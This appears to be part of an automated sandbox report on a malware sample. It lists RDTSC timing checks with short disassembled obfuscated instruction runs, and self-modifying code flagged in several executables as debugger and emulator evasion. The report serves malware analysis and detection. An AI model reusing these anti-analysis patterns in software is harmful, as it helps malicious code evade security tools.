Source: C:\Users\user\DocumentsIIEBKJECFC.exe	RDTSC instruction interceptor: First address: 56012F second address: 56015A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FC3A8C83B41h 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e push ecx 0x0000000f pop ecx 0x00000010 jmp 00007FC3A8C83B3Fh 0x00000015 rdtsc
Source: C:\Users\user\DocumentsIIEBKJECFC.exe	RDTSC instruction interceptor: First address: 56015A second address: 560166 instructions: 0x00000000 rdtsc 0x00000002 ja 00007FC3A8C81766h 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\DocumentsIIEBKJECFC.exe	RDTSC instruction interceptor: First address: 55F7FD second address: 55F807 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007FC3A8C83B36h 0x0000000a rdtsc
Source: C:\Users\user\DocumentsIIEBKJECFC.exe	RDTSC instruction interceptor: First address: 55F986 second address: 55F98D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\DocumentsIIEBKJECFC.exe	RDTSC instruction interceptor: First address: 55F98D second address: 55F9A0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jl 00007FC3A8C83B36h 0x00000009 jng 00007FC3A8C83B36h 0x0000000f push edx 0x00000010 pop edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\DocumentsIIEBKJECFC.exe	RDTSC instruction interceptor: First address: 55FC2D second address: 55FC31 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsIIEBKJECFC.exe	RDTSC instruction interceptor: First address: 55FC31 second address: 55FC3B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\DocumentsIIEBKJECFC.exe	RDTSC instruction interceptor: First address: 55FC3B second address: 55FC41 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsIIEBKJECFC.exe	RDTSC instruction interceptor: First address: 55FC41 second address: 55FC4D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jbe 00007FC3A8C83B36h 0x0000000a push esi 0x0000000b pop esi 0x0000000c rdtsc
Source: C:\Users\user\DocumentsIIEBKJECFC.exe	RDTSC instruction interceptor: First address: 55FC4D second address: 55FC51 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsIIEBKJECFC.exe	RDTSC instruction interceptor: First address: 55FC51 second address: 55FC5F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 ja 00007FC3A8C83B3Ch 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\DocumentsIIEBKJECFC.exe	RDTSC instruction interceptor: First address: 55FDE3 second address: 55FDE9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsIIEBKJECFC.exe	RDTSC instruction interceptor: First address: 55FDE9 second address: 55FDEE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsIIEBKJECFC.exe	RDTSC instruction interceptor: First address: 55FFB7 second address: 55FFD8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FC3A8C81778h 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e rdtsc
Source: C:\Users\user\DocumentsIIEBKJECFC.exe	RDTSC instruction interceptor: First address: 56271B second address: 562722 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\DocumentsIIEBKJECFC.exe	RDTSC instruction interceptor: First address: 562DA5 second address: 562DC2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC3A8C8176Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FC3A8C8176Bh 0x00000010 rdtsc
Source: C:\Users\user\DocumentsIIEBKJECFC.exe	RDTSC instruction interceptor: First address: 5637C8 second address: 5637CC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsIIEBKJECFC.exe	RDTSC instruction interceptor: First address: 563914 second address: 563958 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 mov dword ptr [esp], eax 0x0000000a push 00000000h 0x0000000c push esi 0x0000000d call 00007FC3A8C81768h 0x00000012 pop esi 0x00000013 mov dword ptr [esp+04h], esi 0x00000017 add dword ptr [esp+04h], 0000001Bh 0x0000001f inc esi 0x00000020 push esi 0x00000021 ret 0x00000022 pop esi 0x00000023 ret 0x00000024 mov esi, dword ptr [ebp+12473DBBh] 0x0000002a push eax 0x0000002b pushad 0x0000002c jmp 00007FC3A8C8176Ch 0x00000031 push eax 0x00000032 push eax 0x00000033 push edx 0x00000034 rdtsc
Source: C:\Users\user\DocumentsIIEBKJECFC.exe	RDTSC instruction interceptor: First address: 5647D4 second address: 564867 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp], eax 0x0000000a push 00000000h 0x0000000c push ebp 0x0000000d call 00007FC3A8C83B38h 0x00000012 pop ebp 0x00000013 mov dword ptr [esp+04h], ebp 0x00000017 add dword ptr [esp+04h], 0000001Dh 0x0000001f inc ebp 0x00000020 push ebp 0x00000021 ret 0x00000022 pop ebp 0x00000023 ret 0x00000024 push 00000000h 0x00000026 push 00000000h 0x00000028 push esi 0x00000029 call 00007FC3A8C83B38h 0x0000002e pop esi 0x0000002f mov dword ptr [esp+04h], esi 0x00000033 add dword ptr [esp+04h], 00000016h 0x0000003b inc esi 0x0000003c push esi 0x0000003d ret 0x0000003e pop esi 0x0000003f ret 0x00000040 mov dword ptr [ebp+122D3324h], edi 0x00000046 sub di, B33Fh 0x0000004b push 00000000h 0x0000004d call 00007FC3A8C83B46h 0x00000052 movzx edi, di 0x00000055 pop edi 0x00000056 xchg eax, ebx 0x00000057 jmp 00007FC3A8C83B41h 0x0000005c push eax 0x0000005d push eax 0x0000005e push edx 0x0000005f push esi 0x00000060 jg 00007FC3A8C83B36h 0x00000066 pop esi 0x00000067 rdtsc
Source: C:\Users\user\DocumentsIIEBKJECFC.exe	RDTSC instruction interceptor: First address: 564867 second address: 564871 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jng 00007FC3A8C81766h 0x0000000a rdtsc
Source: C:\Users\user\DocumentsIIEBKJECFC.exe	RDTSC instruction interceptor: First address: 564871 second address: 564875 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsIIEBKJECFC.exe	RDTSC instruction interceptor: First address: 566DBA second address: 566DBE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsIIEBKJECFC.exe	RDTSC instruction interceptor: First address: 566DBE second address: 566DC4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsIIEBKJECFC.exe	RDTSC instruction interceptor: First address: 566DC4 second address: 566DC9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsIIEBKJECFC.exe	RDTSC instruction interceptor: First address: 5678EB second address: 5678F0 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsIIEBKJECFC.exe	RDTSC instruction interceptor: First address: 568F1D second address: 568F26 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\DocumentsIIEBKJECFC.exe	RDTSC instruction interceptor: First address: 56A9DF second address: 56A9EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 je 00007FC3A8C83B38h 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\DocumentsIIEBKJECFC.exe	RDTSC instruction interceptor: First address: 56E2BB second address: 56E2E8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC3A8C81770h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jc 00007FC3A8C8176Eh 0x00000010 push eax 0x00000011 push edx 0x00000012 jl 00007FC3A8C81766h 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\DocumentsIIEBKJECFC.exe	RDTSC instruction interceptor: First address: 56E2E8 second address: 56E2EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsIIEBKJECFC.exe	RDTSC instruction interceptor: First address: 56E2EC second address: 56E2F2 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsIIEBKJECFC.exe	RDTSC instruction interceptor: First address: 56F8A5 second address: 56F8AF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 je 00007FC3A8C83B36h 0x0000000a rdtsc
Source: C:\Users\user\DocumentsIIEBKJECFC.exe	RDTSC instruction interceptor: First address: 5708E6 second address: 5708EC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsIIEBKJECFC.exe	RDTSC instruction interceptor: First address: 5718A7 second address: 5718AB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsIIEBKJECFC.exe	RDTSC instruction interceptor: First address: 574736 second address: 5747D7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007FC3A8C81766h 0x0000000a popad 0x0000000b push edx 0x0000000c jmp 00007FC3A8C81771h 0x00000011 pop edx 0x00000012 popad 0x00000013 mov dword ptr [esp], eax 0x00000016 push 00000000h 0x00000018 push eax 0x00000019 call 00007FC3A8C81768h 0x0000001e pop eax 0x0000001f mov dword ptr [esp+04h], eax 0x00000023 add dword ptr [esp+04h], 00000016h 0x0000002b inc eax 0x0000002c push eax 0x0000002d ret 0x0000002e pop eax 0x0000002f ret 0x00000030 mov bl, 8Dh 0x00000032 push 00000000h 0x00000034 jmp 00007FC3A8C81773h 0x00000039 push 00000000h 0x0000003b push 00000000h 0x0000003d push eax 0x0000003e call 00007FC3A8C81768h 0x00000043 pop eax 0x00000044 mov dword ptr [esp+04h], eax 0x00000048 add dword ptr [esp+04h], 0000001Ah 0x00000050 inc eax 0x00000051 push eax 0x00000052 ret 0x00000053 pop eax 0x00000054 ret 0x00000055 xchg eax, esi 0x00000056 jnl 00007FC3A8C8176Ah 0x0000005c push eax 0x0000005d pushad 0x0000005e pushad 0x0000005f push edx 0x00000060 pop edx 0x00000061 jmp 00007FC3A8C81771h 0x00000066 popad 0x00000067 push eax 0x00000068 push edx 0x00000069 push ecx 0x0000006a pop ecx 0x0000006b rdtsc
Source: C:\Users\user\DocumentsIIEBKJECFC.exe	RDTSC instruction interceptor: First address: 5747D7 second address: 5747DB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsIIEBKJECFC.exe	RDTSC instruction interceptor: First address: 568178 second address: 568182 instructions: 0x00000000 rdtsc 0x00000002 je 00007FC3A8C81766h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\DocumentsIIEBKJECFC.exe	RDTSC instruction interceptor: First address: 578AC4 second address: 578B1A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pop edx 0x00000006 nop 0x00000007 movzx edi, di 0x0000000a push 00000000h 0x0000000c mov dword ptr [ebp+122D2735h], esi 0x00000012 push 00000000h 0x00000014 push 00000000h 0x00000016 push edx 0x00000017 call 00007FC3A8C83B38h 0x0000001c pop edx 0x0000001d mov dword ptr [esp+04h], edx 0x00000021 add dword ptr [esp+04h], 00000014h 0x00000029 inc edx 0x0000002a push edx 0x0000002b ret 0x0000002c pop edx 0x0000002d ret 0x0000002e sub dword ptr [ebp+122D1CF5h], eax 0x00000034 xchg eax, esi 0x00000035 jg 00007FC3A8C83B3Eh 0x0000003b push eax 0x0000003c pushad 0x0000003d jmp 00007FC3A8C83B3Ch 0x00000042 push ecx 0x00000043 push eax 0x00000044 push edx 0x00000045 rdtsc
Source: C:\Users\user\DocumentsIIEBKJECFC.exe	RDTSC instruction interceptor: First address: 57FA46 second address: 57FA61 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC3A8C81773h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\DocumentsIIEBKJECFC.exe	RDTSC instruction interceptor: First address: 57FA61 second address: 57FA65 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsIIEBKJECFC.exe	RDTSC instruction interceptor: First address: 57FA65 second address: 57FAB6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FC3A8C81772h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jg 00007FC3A8C81778h 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 pop edx 0x00000015 popad 0x00000016 jnp 00007FC3A8C817A7h 0x0000001c push eax 0x0000001d push edx 0x0000001e push edi 0x0000001f pop edi 0x00000020 jmp 00007FC3A8C81772h 0x00000025 rdtsc
Source: C:\Users\user\DocumentsIIEBKJECFC.exe	RDTSC instruction interceptor: First address: 51BA13 second address: 51BA26 instructions: 0x00000000 rdtsc 0x00000002 jns 00007FC3A8C83B36h 0x00000008 ja 00007FC3A8C83B36h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\DocumentsIIEBKJECFC.exe	RDTSC instruction interceptor: First address: 51BA26 second address: 51BA40 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007FC3A8C81772h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\DocumentsIIEBKJECFC.exe	RDTSC instruction interceptor: First address: 56EA01 second address: 56EA92 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 mov dword ptr [esp], eax 0x00000008 push dword ptr fs:[00000000h] 0x0000000f push 00000000h 0x00000011 push ebp 0x00000012 call 00007FC3A8C83B38h 0x00000017 pop ebp 0x00000018 mov dword ptr [esp+04h], ebp 0x0000001c add dword ptr [esp+04h], 00000019h 0x00000024 inc ebp 0x00000025 push ebp 0x00000026 ret 0x00000027 pop ebp 0x00000028 ret 0x00000029 mov edi, eax 0x0000002b add bx, 6BEDh 0x00000030 mov dword ptr fs:[00000000h], esp 0x00000037 sbb edi, 7C62DC30h 0x0000003d mov eax, dword ptr [ebp+122D0D0Dh] 0x00000043 push FFFFFFFFh 0x00000045 push 00000000h 0x00000047 push edi 0x00000048 call 00007FC3A8C83B38h 0x0000004d pop edi 0x0000004e mov dword ptr [esp+04h], edi 0x00000052 add dword ptr [esp+04h], 00000014h 0x0000005a inc edi 0x0000005b push edi 0x0000005c ret 0x0000005d pop edi 0x0000005e ret 0x0000005f movzx edi, bx 0x00000062 nop 0x00000063 jl 00007FC3A8C83B42h 0x00000069 jnc 00007FC3A8C83B3Ch 0x0000006f push eax 0x00000070 pushad 0x00000071 push eax 0x00000072 push edx 0x00000073 jmp 00007FC3A8C83B3Fh 0x00000078 rdtsc
Source: C:\Users\user\DocumentsIIEBKJECFC.exe	RDTSC instruction interceptor: First address: 56EA92 second address: 56EAB6 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FC3A8C81766h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FC3A8C81778h 0x00000011 rdtsc
Source: C:\Users\user\DocumentsIIEBKJECFC.exe	RDTSC instruction interceptor: First address: 570A2B second address: 570A50 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 popad 0x00000008 push eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FC3A8C83B49h 0x00000011 rdtsc
Source: C:\Users\user\DocumentsIIEBKJECFC.exe	RDTSC instruction interceptor: First address: 570A50 second address: 570A59 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\DocumentsIIEBKJECFC.exe	RDTSC instruction interceptor: First address: 570A59 second address: 570AF1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007FC3A8C83B36h 0x0000000a popad 0x0000000b popad 0x0000000c nop 0x0000000d push 00000000h 0x0000000f push eax 0x00000010 call 00007FC3A8C83B38h 0x00000015 pop eax 0x00000016 mov dword ptr [esp+04h], eax 0x0000001a add dword ptr [esp+04h], 00000015h 0x00000022 inc eax 0x00000023 push eax 0x00000024 ret 0x00000025 pop eax 0x00000026 ret 0x00000027 mov ebx, edi 0x00000029 push dword ptr fs:[00000000h] 0x00000030 push 00000000h 0x00000032 push ebp 0x00000033 call 00007FC3A8C83B38h 0x00000038 pop ebp 0x00000039 mov dword ptr [esp+04h], ebp 0x0000003d add dword ptr [esp+04h], 00000018h 0x00000045 inc ebp 0x00000046 push ebp 0x00000047 ret 0x00000048 pop ebp 0x00000049 ret 0x0000004a mov ebx, dword ptr [ebp+122D2DD9h] 0x00000050 mov dword ptr fs:[00000000h], esp 0x00000057 mov ebx, dword ptr [ebp+122D2E21h] 0x0000005d mov eax, dword ptr [ebp+122D1459h] 0x00000063 jmp 00007FC3A8C83B3Bh 0x00000068 push FFFFFFFFh 0x0000006a push ebx 0x0000006b movsx ebx, bx 0x0000006e pop edi 0x0000006f nop 0x00000070 push eax 0x00000071 push edx 0x00000072 jmp 00007FC3A8C83B47h 0x00000077 rdtsc
Source: C:\Users\user\DocumentsIIEBKJECFC.exe	RDTSC instruction interceptor: First address: 571B29 second address: 571B2E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\DocumentsIIEBKJECFC.exe	RDTSC instruction interceptor: First address: 571B2E second address: 571B34 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\DocumentsIIEBKJECFC.exe	RDTSC instruction interceptor: First address: 5729A2 second address: 5729A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsIIEBKJECFC.exe	RDTSC instruction interceptor: First address: 5729A6 second address: 5729AA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsIIEBKJECFC.exe	RDTSC instruction interceptor: First address: 574986 second address: 57498C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsIIEBKJECFC.exe	RDTSC instruction interceptor: First address: 57498C second address: 574990 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsIIEBKJECFC.exe	RDTSC instruction interceptor: First address: 5811DE second address: 5811E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsIIEBKJECFC.exe	RDTSC instruction interceptor: First address: 577C7E second address: 577CA0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC3A8C83B46h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop esi 0x0000000a push eax 0x0000000b pushad 0x0000000c pushad 0x0000000d push ecx 0x0000000e pop ecx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\DocumentsIIEBKJECFC.exe	RDTSC instruction interceptor: First address: 577CA0 second address: 577D14 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007FC3A8C81770h 0x0000000a popad 0x0000000b nop 0x0000000c mov ebx, dword ptr [ebp+122D1EAAh] 0x00000012 push dword ptr fs:[00000000h] 0x00000019 mov dword ptr fs:[00000000h], esp 0x00000020 push 00000000h 0x00000022 push ecx 0x00000023 call 00007FC3A8C81768h 0x00000028 pop ecx 0x00000029 mov dword ptr [esp+04h], ecx 0x0000002d add dword ptr [esp+04h], 0000001Ch 0x00000035 inc ecx 0x00000036 push ecx 0x00000037 ret 0x00000038 pop ecx 0x00000039 ret 0x0000003a mov eax, dword ptr [ebp+122D0685h] 0x00000040 jmp 00007FC3A8C81774h 0x00000045 push FFFFFFFFh 0x00000047 mov di, si 0x0000004a nop 0x0000004b pushad 0x0000004c push eax 0x0000004d push edx 0x0000004e push eax 0x0000004f push edx 0x00000050 rdtsc
Source: C:\Users\user\DocumentsIIEBKJECFC.exe	RDTSC instruction interceptor: First address: 577D14 second address: 577D18 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsIIEBKJECFC.exe	RDTSC instruction interceptor: First address: 578CC9 second address: 578CCF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsIIEBKJECFC.exe	RDTSC instruction interceptor: First address: 579BF2 second address: 579BF8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsIIEBKJECFC.exe	RDTSC instruction interceptor: First address: 57ABC6 second address: 57AC42 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 mov dword ptr [esp], eax 0x0000000a push 00000000h 0x0000000c push ecx 0x0000000d call 00007FC3A8C81768h 0x00000012 pop ecx 0x00000013 mov dword ptr [esp+04h], ecx 0x00000017 add dword ptr [esp+04h], 00000019h 0x0000001f inc ecx 0x00000020 push ecx 0x00000021 ret 0x00000022 pop ecx 0x00000023 ret 0x00000024 mov edi, dword ptr [ebp+122D3999h] 0x0000002a push dword ptr fs:[00000000h] 0x00000031 cmc 0x00000032 mov dword ptr fs:[00000000h], esp 0x00000039 mov bl, 61h 0x0000003b mov eax, dword ptr [ebp+122D067Dh] 0x00000041 push 00000000h 0x00000043 push eax 0x00000044 call 00007FC3A8C81768h 0x00000049 pop eax 0x0000004a mov dword ptr [esp+04h], eax 0x0000004e add dword ptr [esp+04h], 0000001Bh 0x00000056 inc eax 0x00000057 push eax 0x00000058 ret 0x00000059 pop eax 0x0000005a ret 0x0000005b or bx, 08BEh 0x00000060 movzx edi, ax 0x00000063 push FFFFFFFFh 0x00000065 nop 0x00000066 push eax 0x00000067 push edx 0x00000068 push edi 0x00000069 pushad 0x0000006a popad 0x0000006b pop edi 0x0000006c rdtsc
Source: C:\Users\user\DocumentsIIEBKJECFC.exe	RDTSC instruction interceptor: First address: 57AC42 second address: 57AC4C instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FC3A8C83B3Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\DocumentsIIEBKJECFC.exe	RDTSC instruction interceptor: First address: 57CC8B second address: 57CD0A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC3A8C81774h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a mov bh, cl 0x0000000c push dword ptr fs:[00000000h] 0x00000013 mov di, bx 0x00000016 mov dword ptr fs:[00000000h], esp 0x0000001d jbe 00007FC3A8C8176Ch 0x00000023 sub dword ptr [ebp+122D33A2h], edx 0x00000029 mov eax, dword ptr [ebp+122D13A1h] 0x0000002f push 00000000h 0x00000031 push ebx 0x00000032 call 00007FC3A8C81768h 0x00000037 pop ebx 0x00000038 mov dword ptr [esp+04h], ebx 0x0000003c add dword ptr [esp+04h], 0000001Bh 0x00000044 inc ebx 0x00000045 push ebx 0x00000046 ret 0x00000047 pop ebx 0x00000048 ret 0x00000049 push FFFFFFFFh 0x0000004b mov edi, dword ptr [ebp+122D2F3Dh] 0x00000051 push eax 0x00000052 push eax 0x00000053 push edx 0x00000054 pushad 0x00000055 jmp 00007FC3A8C81770h 0x0000005a push eax 0x0000005b push edx 0x0000005c rdtsc
Source: C:\Users\user\DocumentsIIEBKJECFC.exe	RDTSC instruction interceptor: First address: 57CD0A second address: 57CD0F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\DocumentsIIEBKJECFC.exe	RDTSC instruction interceptor: First address: 583A29 second address: 583A33 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\DocumentsIIEBKJECFC.exe	RDTSC instruction interceptor: First address: 583A33 second address: 583A39 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\DocumentsIIEBKJECFC.exe	RDTSC instruction interceptor: First address: 585F8D second address: 585F93 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsIIEBKJECFC.exe	RDTSC instruction interceptor: First address: 585F93 second address: 585F99 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsIIEBKJECFC.exe	RDTSC instruction interceptor: First address: 585F99 second address: 585F9F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsIIEBKJECFC.exe	RDTSC instruction interceptor: First address: 58975C second address: 58976C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FC3A8C83B3Ch 0x00000009 rdtsc
Source: C:\Users\user\DocumentsIIEBKJECFC.exe	RDTSC instruction interceptor: First address: 58976C second address: 589786 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007FC3A8C8176Fh 0x0000000e push ecx 0x0000000f pop ecx 0x00000010 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 99FAFE instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: B76AAB instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: B567E7 instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsIIEBKJECFC.exe	Special instruction interceptor: First address: 55A571 instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsIIEBKJECFC.exe	Special instruction interceptor: First address: 558C4A instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 102A571 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 1028C4A instructions caused by: Self-modifying code
